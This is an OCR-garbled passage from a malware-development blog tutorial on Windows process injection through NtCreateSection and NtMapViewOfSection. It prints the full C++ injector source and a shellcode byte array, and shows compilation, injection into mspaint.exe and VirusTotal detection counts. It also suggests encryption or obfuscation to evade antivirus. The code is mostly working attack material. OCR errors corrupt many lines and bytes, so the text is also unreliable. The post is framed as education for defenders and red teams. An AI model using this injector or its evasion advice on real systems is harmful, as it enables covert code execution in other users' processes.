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In the previous posts | wrote about classic injections where WinAPI functions replaced with
Native API functions.

The following post is a result of self-research of another malware development technique.

Although the use of these trick in a regular application is an indication of something
malicious, threat actors will continue to use them for process injection.

what is section?

Section is a memory block that is shared between processes and can be created with
NtCreateSection API.

practical example.
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The flow is this technique is: firstly, we create a new section object via NtCreateSection:

cypedet NTSTATUS(NTAPI* pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL

pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll, "I

pNtCreateSection myNtCreateSection = (pNtCreateSection)(GetProcAddress(n tCrea
pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress(ntdll
pRtlCreateUserThread myRtlCreateUserThread = (pRtlCreateUserThread)(GetProcAddress(nt
pZwUnmapView0fSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)(GetProcAddress(ntdll,

myNtCreateSection(&sh, SECTION MAP_READ | SECTION MAP _WRITE | SECTION MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionS, PAGE EXECU
TE_READWRITE, SEC_COMMIT, NULL);

myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, NULL, PAGE_READWRITE);

HANDLE ph = NULL;

Then, before a process can read/write to that block of memory, it has to map a view of the
said section, which can be done with NtMapVviewofSection:

‘ypedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,

SIZE T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE T ViewSize,

DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect

Map a view of the created section to the local malicious process with Rw protection:
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pZwUnmapViewOfSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)(GetProcAddress( ntdll, "Zw

myNtCreateSection(&sh, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)&sectionS, PAGE_EXECU
TE_READWRITE, SEC_COMMIT, NULL);

myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, NULL, PAGE_READWRITE);

HANDLE ph = NULL;
myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid);

(!ph) {
printf(

90% = 201/222 ln : 2

HANDLE ph = NULL;
myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid);

(!ph) {
printf("f

myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ);

ypedef NTSTATUS(NTAPI* pNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS MASK AccessMask,
POBJECT _ATTRIBUTES ObjectAttributes,
PCLIENT ID ClientID

Then, write our payload:
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unsigned char my_payload[] =

"\XFc\Xx48\x81\xed\ X FO\XTFF\XFFAXFF\xe8\xdo\x00\x00\x00\x41"
"\Xx51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\X3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\Xx00\x00\x48\x85\xcO\x74\x6f"
"\x48\x01\xdO\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\X01\xdO\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\Xx8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xeN\ x4\ X FF\XFF\xFf\x5d\x49\xc7"
"\xCc1\x00\Xx00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\Xx4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xed"
"\x75\x05\xbb\x47\x13\x72\x6T\x6a\x00\x59\x41\x89\xda\xff"
"\Xxd5\x4d\x65\x6F\x77\x2d\x6d\x65\x6T\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ);

memcpy(1lb, my_payload, si my_payload));

myRtlCreateUserThread(ph, NULL, FALSE, 0, D, rb, NULL, &th, NULL);

(WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {

iy
“3

Then, create a remote thread in the target process and point it to the mapped view in the
target process to trigger the shellcode via Rt 1CreateUserThread:
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typedef NTSTATUS(NTAPI* pRtlCreateUserThread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID

myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid);

(Iph) {
printf("failec

b
myNtMapView0fSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ);
memcpy(lb, my_payload, sizeof(my_payload));

myRtlCreateUserThread(ph, NULL, FALSE, @, @, 0, rb, NULL, &th, NULL);

(WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {

-]
=21

Finally, | used zwunmapviewOfSection for clean up:

typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)(
HANDLE ProcessHandle,

PVOID BaseAddress

Iy

)
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myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ

]

memcpy(lb, my_payload, s (my_payload));

myRt1lCreateUserThread(ph, NULL, FALSE, 0, 0, 0, rb, NULL, &th, NULL);

(WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {

“3

myZwUnmapViewOfSection(GetCurrentProcess(), lb);
myZwUnmapViewOfSection(ph, rb);

CloseHandle(sh);

CloseHandle(ph);

(]
Wy

So full code which demonstrates this technique is:
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/*
* hack.cpp

* advanced code injection technique via NtCreateSection and NtMapViewOfSection

* author @cocomelonc

* https://cocomelonc.github.com/tutorial/2021/12/13/malware-injection-12.html

*/

#include <iostream>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

#pragma comment(lib, "ntdll")
#pragma comment(lib, "advapi32.1lib")

#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \

(p)->Attributes = (a); \
(p)->0ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \

// dt nt!_UNICODE_STRING
typedef struct _LSA_UNICODE_STRING {

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;

} UNICODE_STRING, * PUNICODE_STRING;

// dt nt!_OBJECT_ATTRIBUTES
typedef struct _OBJECT_ATTRIBUTES {

ULONG Length;

HANDLE RootDirectory;
PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

// dt nt!_CLIENT_ID

typedef struct _CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;

} CLIENT_ID, *PCLIENT_ID;

// NtCreateSection syntax
typedef NTSTATUS(NTAPI* pNtCreateSection)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
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)i

IN PLARGE_INTEGER
IN ULONG

IN ULONG

IN HANDLE

MaximumSize OPTIONAL,
PageAttributess,
SectionAttributes,
FileHandle OPTIONAL

// NtMapViewOfSection syntax
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(

)

HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,

SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,

DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect

// RtlCreateUserThread syntax

typedef NTSTATUS(NTAPI* pRtlCreateUserThread)(

)

)

IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID

// NtOpenProcess syntax

typedef NTSTATUS(NTAPI* pNtOpenProcess)(
PHANDLE ProcessHandle,
ACCESS_MASK AccessMask,
POBJECT_ATTRIBUTES ObjectAttributes,
PCLIENT_ID ClientID

// ZwUnmapViewOfSection syntax

typedef NTSTATUS(NTAPI*

)i

HANDLE
PVOID BaseAddress

// get process PID
int findMyProc(const char *procname) {

HANDLE hSnapshot;

pZwUnmapViewOfSection)(

ProcessHandle,
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PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First
pe.dwSize = sizeof (PROCESSENTRY32);

// info about first process encountered in a system snapshot
hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes
// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID

if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;

}

hResult = Process32Next(hSnapshot, &pe);

// closes an open handle (CreateToolhelp32Snapshot)
CloseHandle(hSnapshot);
return pid;

int main(int argc, char* argv[]) {
// 64-bit meow-meow messagebox without encryption
unsigned char my_payload[] =
"\XTc\x48\x81\xed\XFO\XFFAXFF\XFF\xe8\xdO\x00\x00\x00\x41"
"\X51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO\xac"
"\x3c\x61\x7¢c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\X01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\XxcO\Xx74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xFf\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xcO\xac\x41\xc1\xc9\x0d\x41\x01"
"\Xxc1\x38\xe0\x75\xF1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\Xx75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\Xx41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe 9\ x4\ X F F\xFF\xFf\x5d\x49\xc7"
"\XxCc1\Xx00\Xx00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\Xx56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"

9/18



"\X9d\XFFAXd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\X75\x05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6F\x77\x2d\x6d\Xx65\x6F\x77\x21\x00\x3d\x5¢e"
"\x2e\x2e\x5e\x3d\x00";

SIZE_T s = 4096,

LARGE_INTEGER sectionS = { s };
HANDLE sh = NULL; // section handle
PVOID lb = NULL; // local buffer
PVOID rb NULL; // remote buffer
HANDLE th = NULL; // thread handle
DWORD pid; // process ID

pid = findMyProc(argv[1l]);

OBJECT_ATTRIBUTES oa;

CLIENT_ID cid;

InitializeObjectAttributes(&oa, NULL, ©, NULL, NULL);
cid.UniqueProcess = (PVOID) pid;

cid.UniqueThread = 0;

// loading ntdll.dll
HANDLE ntdll = GetModuleHandleA('"ntdll");

pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress(ntdll,
"NtOpenProcess");

pNtCreateSection myNtCreateSection = (pNtCreateSection)(GetProcAddress(ntdll,
"NtCreateSection"));

pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)
(GetProcAddress(ntdll, "NtMapViewOfSection"));

pRtlCreateUserThread myRtlCreateUserThread = (pRtlCreateUserThread)
(GetProcAddress(ntdll, "RtlCreateUserThread"));

pZwUnmapViewOfSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)
(GetProcAddress(ntdll, "ZwUnmapViewOfSection"));

// create a memory section
myNtCreateSection(&sh, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE,
NULL, (PLARGE_INTEGER)&sectionS, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

// bind the object in the memory of our process for reading and writing
myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, NULL,
PAGE_READWRITE);

// open remote proces via NT API
HANDLE ph = NULL;
myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid);

if (!ph) {

printf("failed to open process :(\n");
return -2;
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// bind the object in the memory of the target process for reading and executing
myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL,
PAGE_EXECUTE_READ) ;

// write payload
memcpy(lb, my_payload, sizeof(my_payload));

// create a thread
myRt1lCreateUserThread(ph, NULL, FALSE, 0, O, O, rb, NULL, &th, NULL);

// and wait
if (WaitForSingleObject(th, INFINITE) == WAIT_FAILED) {
return -2;

// clean up
myZwUnmapViewOfSection(GetCurrentProcess(), 1lb);
myZwUnmapViewOfSection(ph, rb);

CloseHandle(sh);

CloseHandle(ph);

return 0;

As you can see, everything is simple. Also | used findMyProc function from one of my
previous posts:
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int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe
int pid = 0;

BOOL hResult;

hSnapshot = {redTeTom1he1pJ Snapshot(TH32CS_SNAPPROCESS, 0);
( INVALID_HANDLE_VALUE == hSnapshot) 0;

pe.dwSize = sizeof(PROCESSENTRY32);

hResult = Process32First(hSnapshot, &pe);

(hResult) {

(strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;

1
J
hResult = Process32Next(hSnapshot, &pe);

J|..

CloseHandle(hSnapshot);

pid;

Changes to the local view of the section will also cause remote views to be modified as well,
thus bypassing the need for APIs such as KERNEL32.DLL!WriteProcessMemory to write
malicious code into remote process address space.

Although this is somewhat of an advantage over direct virtual memory allocation using
NtAllocateVirtualMemory, it creates similar malicious memory artifacts that blue teamers
should look out for:
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1-12-13-malware-injection-12> dir

-13-malware-inject

Meow-meow!

B 0K

Threa
. scan comple

er\Downloa

ype here to search i ) ] B~ )

demo

So finally after we understood entire code of the malware, we can test it.

Let’'s go to compile our malware:

x86_64-w64-mingw32-g++ hack.cpp -o hack.exe -mconsole -I/usr/share/mingw-w64/include/
-s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptionsections -
fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-
libstdc++ -static-igc-plibgcc -fpermissive
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File  Edit

hack.cpp:

[
191 |
I
hack.cpp:

191 |
|
hack.cpp:
LL [
203 |
|
hack.cpp:
[
2083 |
|
hack.cpp:

203 |

I

zhas@
31s
total 896

Then, see everything in action! Start our victim process (in our case mspaint.exe) on the

-12-13-malware-inject 2 : bash — Konsole

View Bookmarks Settings Help

1
myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, , NULL, NULL, &s, 2, NULL, PAGE_READWRITE)

191:60: verting to non-pointer type ‘SIZE_T' {aka ‘long long unsigned int’} from NULL
]
myNtMapViewOfSection(sh, GetCurrentProcess(), &Lb, NULL, , NULL, &s, 2, NULL, PAGE_READWRITE)

191:79: converting to mon-pointer type ‘ULONG’ {aka ‘long unsigned int’} from NULL [
1
myMNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, , PAGE_READWRITE)

203:37: verting to nmon-pointer type 'ULONG_PTR' {aka ‘long long unsigned int'} from NU
]
myNtMapViewOfSection(sh, ph, &rb, , NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ);

203:43: verting to nmon-pointer type 'SIZE_T' {aka ‘long long unsigned int'} from NULL
]
myNtMapViewOfSection(sh, ph, &rb, NULL, , NULL, &s, 2, NULL, PAGE_EXECUTE_READ);

203:62: verting to non-pointer type 'ULONG' {aka ’'long unsigned int'} from NULL [
1
myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, , PAGE_EXECUTE_READ);

victim machine (Windows 10 x64):
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@ win10-x64 [Running] - Oracle VM VirtualBox

File  Machine View Input Devices Help

Home View

(d 5y Tt

Brushes Size Colors  Edit with
= = < Paint 3D

Shapes

1% Process Hacker [WINDOWS-VIHMNE33 User]

Hacker Wiew Tools Users Help

>

§ Processes  Services  Metwork  Disk

a x

Search Processes (Ctrl+K) 2

Mame

[85] svchost.exe
[15] taskhostw.exe

ctfmon.exe

‘= explorer.exe

|fO total ... Private b...

12.04 MB
£.69 MB
4,77 MB

42,89 MB
8.45 MB
2,32 MB

56.15 MB

) mspaint.exe
[15] svehost.exe

N powershell.exe

£

User name

WINDOWS-VIH...
WINDOWS-VIH..,
WINDOWS-VIH..,
WINDOWS-VIH..,
WINDOWS-VSH..,

WINDOWS-YIH...

CPU Usage: 16.15% Physical memony: 1.14 GB (42.06%) Processes: 71

Then run our malware:

.\hack.exe mspaint.exe

@53 PM
12/15/2021 El

Bl = ¥| 4 B right ctrl
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File

Machine View Input Devices Help

win10-x64 [Running] - Oracle VM VirtualBox

21-12-13-malware-injection-

21-12-13-malware-injectic

Name

-12-13-malware-injection-12>

@) Untitled - Paint

. exe

CPU Usage: 7.27%

Meow-meow!

mspaint.

Meow-meow!
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@ win10-x64 [Running] - Oracle VM VirtualBox
File  Machine View Input Devices Help

General Stall 2 527 results, [

Hide free| | Address

0x28734ccd 4 results.

Base addred | 0x28734ccd | Address Result

0x7FAF7E04] | OX2B734CCS | 0y0573409291e Meow-meaw!
Ox7FfF75eal | O%2873%cch | gyom734cadoce Meow-meow!
Ox7ff75ear | Ox2B734ccC | 08734000470 Meow-meow!

OxTFF754ct | 0x2873%ccc) | gyoa7340cfah0 S
OxTFF752f1 | Ox28734ccc

OxT7FF7439¢ | Dx28734ccc
Dx7FF7300¢ | Ox28734c0c

0xTFf733s | Ox28734cco
Ox7FF731d] | O0x28734ccd)

OxT7fFF727c) | Ox28734ccf
Ox7FF7215¢ | Ox28734ccft
OnTFF7Och: | 0x28734ccfe
O 7Ff7och] | 0x28734cd3
Ox7FF709a | Ox28734cdd
O TFF7O6a | 0x28734cdd
on7Ffse7o | 0x28734cdd
Ox7FFoedd | Ox23734cdd : :

Meow-meow!

onTFs3af] | 0x28734cdd

Ox7iffsea4 | 0x28734cde
L~ —rrreeac) 0x28734cde

We can see that everything was completed perfectly :)
Let’s go to upload our malware to VirusTotal:

Z 1573a7d59de744b0723e8353%ad8dch?347c89f27a8321ea578c8c0d98f1e2ch

\_‘, 4 security vendors flagged this file as malicious

=

hackexe

&dbits  assembly  peexe

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

MaxSecure (D) Trojan.Malware.300983.susgen Microsoft
SentinelOne (Static ML) (D) Static Al - Suspicious PE Symantec
Acronis (Static ML) (/) Undetected Ad-Aware
AhnLab-V3 @) Undetected Alibaba

AlYac () Undetected Antiy-AVL
Armahit £ VinAntantad Aviirs frn rlaser)

1573a7d59de744b0723e8353%ad8dcb?347c89127a8321ea578c8c0d98f1e2ch 88550 KB

10:02 PM
5/2021

12/

>

2021-12-17 14:59:10 UTC

(D) TrojanWin32/Sabsik.FL.BImI
(D) Meterpreter
() Undetected

() Undetected

() Undetected

A VinAdntantad

T

n-contre
W

>

&

i & B ¥ 6 K Rright Ctrl
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https://www.virustotal.com/gui/file/1573a7d59de744b0723e83539ad8dcb9347c89f27a8321e
a578c8c0d98f1e2cb?nocache=1

So, 4 of 62 AV engines detect our file as malicious.

If we want, for better result, we can add payload encryption with key or obfuscate functions,
or combine both of this techniques.

| hope this post spreads awareness to the blue teamers of this interesting technique, and
adds a weapon to the red teamers arsenal.

BlackHat USA 2019 Process Injection Techniques - Gotta Catch Them All
WiInDBG kernel debugging

NtOpenProcess

NtCreateSection

NtMapViewOfSection

ZwUnmapViewOfSection

Moneta64.exe

source code in Github

This is a practical case for educational purposes only.

Thanks for your time and good bye!
PS. All drawings and screenshots are mine

18/18


https://www.virustotal.com/gui/file/1573a7d59de744b0723e83539ad8dcb9347c89f27a8321ea578c8c0d98f1e2cb?nocache=1
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html
https://i.blackhat.com/USA-19/Thursday/us-19-Kotler-Process-Injection-Techniques-Gotta-Catch-Them-All.pdf
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/performing-local-kernel-debugging
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html
http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-zwunmapviewofsection
https://github.com/forrest-orr/moneta
https://github.com/cocomelonc/meow/tree/master/2021-12-13-malware-injection-12

